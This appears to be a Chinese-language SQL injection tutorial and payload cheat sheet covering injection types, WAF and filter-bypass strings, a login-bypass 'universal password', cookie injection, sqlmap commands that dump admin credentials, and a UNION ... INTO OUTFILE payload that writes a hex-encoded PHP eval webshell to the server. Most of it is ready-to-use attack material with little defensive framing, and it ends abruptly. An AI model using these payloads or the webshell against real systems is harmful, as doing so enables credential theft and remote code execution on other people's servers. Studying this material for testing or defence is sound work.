https://www.w3schools.com/sql/func_mysql_concat.asp
SQL是结构化查询语言(Structured Query Language),对于数据库的库,表,字段等进行查询,而SQL注入原理是在进行数据库查询时,没有进行严格的检查,直接带入到数据库执行语句。这样不仅会通过一些系统函数暴露相关信息,也会通过特意构造的语句和先验信息,进一步获取有关数据库,表,字段等信息,进而得到管理员的账号密码等。
常用关键字:
函数关键字说明
常见过滤的绕过方法:
(1) //,-- , /**/, #, --+, -- -, ;,%00,--a U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
(2) id=-1'UnIoN/**/SeLeCT;
(3) uni<>on se<>lect
(4) 双关键字绕过:foorr oorr 等。
(5) id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
(6) 等价函数绕过,
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
使用join: union select 1,2 #等价于 union select * from (select 1)a join (select 2)b
select * from (select database())a join (select version())b
//将数据库和版本的结果视作a,b两个表组合起来,通过select *返回所有结果
SELECT a.id, a.name, b.count, b.date FROM a INNER JOIN b ON a.id= b.id;
//将a,b两个表的查询中,id相等的列组合在一起
首先,连接的结果可以在逻辑上看作是由SELECT语句指定的列组成的新表。左连接与右连接的左右指的是以两张表中的哪一张为基准,它们都是外连接。
注入类型及方法
其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,所以就会有不同的注入类型
而在SQL查询语句中,数据类型的语法有三种,也就是我们上面所说的数字型,字符型,搜索型。语法如下:
数字型: SELECT 列 FROM 表 WHERE 数字型列=值 例如192.168.2.1:8808/admin.asp?id=1
字符型: SELECT 列 FROM 表 WHERE 字符型列=’值’ 例如账户密码验证的‘admin’ ‘password’
搜索型: SELECT * FROM 表 WHERE where 被搜索的列 like ‘%值%’
典型的数字型注入。查询时使用的是数字类型,这时我们就可以利用and 1=1和and 1=2判断方法来判断是否存在漏洞。
字符型查询语句中,我们输入的信息被单引号包含起来导致成为一个整体字符串id=1 and 1=1会变为“1 and 1=1”的ID查询,此时使用’ and ‘1’='1 和 'and ‘1’='2 这样的闭合字符型注入的判断语句
搜索型,比字符型每个字符串多了一对“%”,id=1查询时变为id=“%1%”,我们的就产生了“%1%’ and ‘%1%’=’%1%”和“%1%‘and ‘%1%’=’%2%”
总体来说各种注入类型之前唯一不同的就是查询中的闭合方式,而我们在入侵检测过程中就会根据测试的各种闭合方式来判断属于那种注入类型。
在实验中,Select user,password from admin类型的验证为字符型,我们使用1’ or ‘1(万能密码),对于有过滤的 我们可以采用其他逻辑或者字符代替被过滤的 或者使用一些函数来进行输入.对于实际中我们要考虑查询的其他条件,我们可以使用注释功能,常见-- 和# 等
(5)cookies注入
目标网站http://www.xxx.com/x.asp?id=1
1.在IE浏览器访问去掉参数(id=1)的url: http://www.xxx.com/x.asp?(加载页面,显示不正常,原因是没有输参数)。
2.在IE浏览器输入javascript:alert(document.cookie=“id=”+escape(“1”));(添加cookie信息),再次访问http://www.xxx.com/x.asp?(加载页面,显示正常)。此时这个网页就存在cookie注入,反之没有。
命令:sqlmap.py –u”url” --cookie “参数” --level 2 level>=2 表示采用cookies注入
测试能否注入 sqlmap.py –u “http://www.xxx.com/x.asp” --cookie “id=1” --level 2
查所有表 sqlmap.py –u”url” --cookie “id=1” --level 2 --tables
查询字段 sqlmap.py –u”url” --cookie “id=1” --level 2 --tables --dump –C “usernma,paasword” –T “admin”
(6)窃取哈希口令
MySQL在mysql.user表中存储哈希口令,哈希口令是通过使用PASSWORD()函数计算的。
https://bbs.ichunqiu.com/data/attachment/forum/201608/09/181039r17846t71stsscct.png
https://bbs.ichunqiu.com/data/attachment/forum/201608/09/181255ohoffzdfpd4tfrp9.png
(7)获取WebShell
利用SQL注入攻击获取WebShell其实就是在向服务器写文件。(注意:这里我们需要得到网站的绝对路径)所有常用的关系数据库管理系统(RDBMS)均包含内置的向服务器文件系统
写文件的功能。
在输入单引号的时候报错了得到了绝对路径 写文件要用到
select into outfile(dumpfile) //MySQL写文件命令
select “” into outfile “F:\www\test.php”;
例子
age=25 union select 1,2,3,4,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e into outfile 'C:/appserv/www/mysqltest/shell1.php'
经过url编码之后为
age=25%20union%20select%201,2,3,4,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e%20into%20outfile%20%27C:/appserv/www/mysqltest/shell1.php%27
其中 0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e为hex编码的
写的文件名一定要是不存在的,不然就会不成功,这里的路径要用/,如果要用\的话,就要用\转移成一个\ 如C:\appserv\www\mysqltest\shell1.php
关于获取shell,我们的sqlmap也是可以做到的,而且更加的方便,几个命令的事